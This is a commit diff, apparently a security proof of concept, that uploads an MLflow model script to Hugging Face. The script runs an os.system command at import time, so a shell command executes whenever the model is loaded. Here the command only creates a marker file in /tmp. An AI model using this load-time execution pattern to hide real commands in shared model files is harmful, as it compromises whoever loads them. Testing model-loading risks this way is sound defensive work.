Upload evil_mfc_model/evil_script.py with huggingface_hub

evil_mfc_model/evil_script.py

@@ -0,0 +1,14 @@
+import os
+import mlflow
+from mlflow.pyfunc import PythonModel
+
+# module-level: executes whenever mlflow imports this script (i.e. on load_model)
+os.system("touch /tmp/celvex_marks/MFC_EVIL_MARK")
+
+
+class Model(PythonModel):
+    def predict(self, context, model_input, params=None):
+        return model_input
+
+
+mlflow.models.set_model(Model())